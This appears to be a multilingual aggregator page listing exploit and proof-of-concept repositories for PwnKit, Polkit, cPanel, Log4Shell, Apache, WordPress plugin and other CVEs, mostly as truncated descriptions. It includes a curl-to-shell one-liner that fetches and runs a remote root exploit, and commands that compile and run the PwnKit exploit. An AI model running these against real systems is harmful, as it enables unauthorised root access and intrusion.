CVE-2026-39363

CVE-2026-39363 — Vite Dev Server WebSocket 任意文件读取批量检测 免责声明： 本工具仅用于授权的安全测试和教育研究。使用者应遵守当地法律法规，未经授权扫描或攻击他人系统属于违法行为。作者不对任何滥用行为承担责任。 漏洞描述 Vite 开发服务器（6.0.0 6.4.1, 7.0.0 7.3.1, 8.0.0 8.0.4）的 HMR WebSocket 未校验 Origin 头，攻击者可通过 vite:invoke 事件调用 fetchModule，使用 file:// 协议配合 ?raw 参数绕过 server.fs.allow...

pwnkit-exploit

pwnkit CVE-2021-4034 权限提升漏洞利用示例 本仓库包含 CVE-2021-4034 的漏洞利用代码，这是 pkexec 中的一个本地权限提升漏洞。该实现基于 CVE 披露 中描述的方法，建议你阅读该披露内容。 如果此漏洞利用在你的机器上生效，说明你的系统存在漏洞。要解决此问题，请将 polkit 更新到已修复的版本，或使用以下命令禁用 pkexec 上的 setuid 位： root@kitploit: $ sudo chmod a-s $which pkexec 根据披露信息编写此漏洞利用代码非常容易，因此请尽快为所有机器打上补丁。 使用本仓库...

CVE-2026-29000-pac4j-jwt-auth-bypass

HTB Principal — CVE-2026-29000 Writeup Disclaimer: This exploit was developed solely for the retired HackTheBox machine "Principal". For educational purposes only. Do not use against systems you do not own or have explicit permission to test. Machine Info...

Dirty-Frag-Kubernetes-PoC

Dirty Frag CVE-2026-43284 — Kubernetes Container Escape PoC A proof-of-concept demonstrating how a default, unprivileged Kubernetes Pod can achieve node-level code execution on Amazon EKS by exploiting the Dirty Frag Linux kernel page-cache corruption vulnerability through shared container image...

CVE-2023-24329-Exploit

Introducción Las funciones de análisis de URL se centran en dividir una cadena de URL en sus componentes, o en combinar componentes de URL en una cadena de URL. urllib.parse.urlparse Simplemente urllib.parse se usa para analizar URLs, podemos omitirlo agregando espacios en blanco antes de la URL...

CVE-2021-3560

CVE-2021-3560 Polkit Instant Root Exploit You can run one command to root with Polkit CVE-2021-3560 vulnerable boxes by typing in: sh -c "$curl -sSL https://raw.githubusercontent.com/n3onhacks/CVE-2021-3560/main/polkit.sh" Or you can download the .sh or copy and paste it. Run and Instant Root. Us...

ez-pwnkit

ez-pwnkit Una implementación en Go puro del exploit CVE-2021-4034 PwnKit. El exploit utiliza syscall.ForkExec para sobrevivir al final del programa principal. Instalación root@kitploit: git clone https://github.com/OXDBXKXO/ez-pwnkit.git cd ez-pwnkit make Como el exploit depende de una biblioteca...

CVE-2021-4034

CVE-2021-4034 Un día para el exploit de escalada de privilegios de polkit Simplemente ejecute y disfrute ./blasty de tu shell raíz. El aviso original de los autores reales es - aquí Instalación Si el exploit funciona, obtendrá un shell de root inmediatamente: root@kitploit:...

CVE-2026-3228

CVE-2026-3228 - NextScripts WordPress Plugin Stored XSS Scanner & Exploit https://img.shields.io/badge/python-3.6+-blue.svg https://img.shields.io/badge/license-MIT-green https://img.shields.io/badge/WordPress-Plugin-red Author: NULL200OK A comprehensive Python tool to scan for and exploit...

CVE-2026-3304

CVE-2026-3304 实验环境 仅供教育和研究目的。未经授权攻击系统是违法的。 本实验环境基于对 Multer 2.1.0 补丁及其官方测试代码的分析而构建。 易受攻击的服务器复现了补丁测试中描述的精确条件， 而已修补的服务器运行 Multer 2.1.0 以确认修复有效。 漏洞概述 字段| 详情 ---|--- CVE| CVE-2026-3304 目标| Multer ，开始写入数据 3. 收到第 2 部分头部（缺少 name 属性） → Multer 检测到 'name 缺失' → errorOccured = true ← 设置错误标志 → 调用...

cPanelWHM-AuthBypass

cPanel/WHM Auth Bypass Scanner & Exploit Tool 基于 watchTowr 的 Python PoC 重写的 Go 命令行工具，用于检测和利用 CVE-2026-41940 cPanel/WHM 认证绕过漏洞。 漏洞概述 CVE-2026-41940 是 cPanel/WHM 的认证绕过漏洞，攻击链通过 CRLF 注入 Basic Auth 头部，泄露安全令牌并获取 WHM root 权限。 4 阶段攻击链： 1. 预认证 — 向 /login/ 发送错误凭据，获取原始 whostmgrsession cookie 2. CRLF 注入 — 通过...

Exploit-LPE-CVE-2026-21721

💥 CVE-2026-21721 Exploit Написал exploit для CVE-2026-21721 и проверил на стенде. 🎯 Что внутри Боевой эскалатор: логинится, читает permissions, пишет Admin permission=4 на всех дашбордах. Для эксплуатации нужна валидная учетная запись с правами Editor. 🧪 Проверено на стенде Вот fingerprint, на...

copy-fail-CVE-2026-31431

CVE-2026-31431 — Copy Fail Linux 内核通过 AFALG + splice 覆盖页缓存实现本地权限提升 仅限授权的安全研究、渗透测试和教育用途。 请勿对您不拥有或未经明确书面许可的系统使用。 技术分析文章 目录 描述 漏洞详情 仓库结构 快速开始 检测 环境要求 缓解措施 测试环境（可选） 参考资料 许可证 描述 CVE-2026-31431 是 Linux 内核中的一个本地权限提升（LPE）漏洞。非特权本地用户可以通过将 AFALG 套接字接口与 splice 结合使用，直接向属于 setuid 二进制的页缓存页面执行经过认证的写入，从而获得 root...

CVE-2021-4034

在存在漏洞的 Linux 机器上，在 c 文件所在的目录中运行以下命令，即可获得 root 访问权限。 $ gcc CVE-2021-4034.c -o exploit $ ./exploit whoami root...

copy-fail_LPE_Interactive

Exploit de fallo de copia CVE-2026-31431 Herramienta de explotación de vulnerabilidad de contaminación de page cache en el kernel de Linux, con soporte para ejecución de comandos no interactiva. Resumen de la vulnerabilidad CVE-2026-31431 es una vulnerabilidad de defecto lógico en el kernel de...

CVE-2026-23830-SandBreak

SandBreak CVE-2026-23830 漏洞利用生成器与自动攻击工具 SandBreak 是一款基于 Go 的健壮漏洞利用生成器，旨在利用 SandboxJS 逃逸漏洞（CVE-2026-23830） 。 该工具利用了旧版 sandboxjs 中未受保护的 AsyncFunction 构造函数，允许攻击者突破 V8 沙箱环境并在主机系统上执行任意代码。它支持多种载荷模式，包括 盲注 OOB 数据外泄 、网页篡改 和 基于错误的 RCE 。 功能特性 2 种攻击模式： oob：带外数据外泄（HTTP/HTTPS），适用于盲注场景。 calc：弹出 calc.exe（经典 PoC）...

CVE-2026-24061-telnet2root

CVE-2026-24061 漏洞扫描器与利用工具 👨‍💻 作者： Furkan KAYAPINAR @FurkanKAYAPINAR 概述 本仓库包含一个针对 CVE-2026-24061 的漏洞扫描器和一个交互式利用工具。该漏洞影响 inetutils-telnetd（以及其他潜在的 Telnet 实现），原因是其对 NEW-ENVIRON Telnet 选项的处理不当，允许通过 -f root 载荷实现远程预认证访问。 功能特性 scanner.py ：一个多线程、高效的扫描器，支持单个目标、CIDR 子网和 IP 列表。包含可选的 --exploit 标志，用于验证 RCE。...

CVE-2026-0920-WordPress-LA-Studio-Exploit

CVE-2026-0920 PoC：LA-Studio Element Kit 后门漏洞利用 一个用 Go 编写的健壮的概念验证（PoC）漏洞利用程序，针对 LA-Studio Element Kit for Elementor 插件（版本 = 1.5.6.3）中的严重后门漏洞。 该工具演示了未认证攻击者如何利用 lakitajax 包装器绕过安全检查并注入恶意载荷，从而创建管理员 账户。 🚨 漏洞详情 CVE： CVE-2026-0920 类型： 权限提升 / 认证绕过 严重性： 严重（9.8/10） 攻击向量： 该插件暴露了一个处理 JSON 载荷的 AJAX...

Log4Shell

Log4Shell 本仓库用于演示和缓解 Log4j 2021（CVE-2021-44228）漏洞。 什么是 Log4Shell？ CVE-2021-44228 / Log4Shell 漏洞的原理是向易受攻击的软件注入恶意负载，该负载会通过 JNDI 并借助 LDAP 协议，诱使 Log4J 从第三方来源获取值。……导入的数据可以是代码，Log4J 会在系统上执行这些代码。 概念验证（视频教程） 1. 我们在 Docker 中运行一个易受 CVE-2021-44228 攻击的 Spring Boot Web 应用程序，该应用被 @christophetd 昵称为 Log4Shell。 它...

CVE-2021-41773

CVE-2021-41773 Apache2 2.4.49 - Exploit de LFI y RCE Información root@kitploit: Exploit Title: Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution RCE Exploit Author: Gaurav Raj https://gauravraj.xyz https://blog.gauravraj.xyz Vendor Homepage: https://apache.org/ Version: 2.4.49...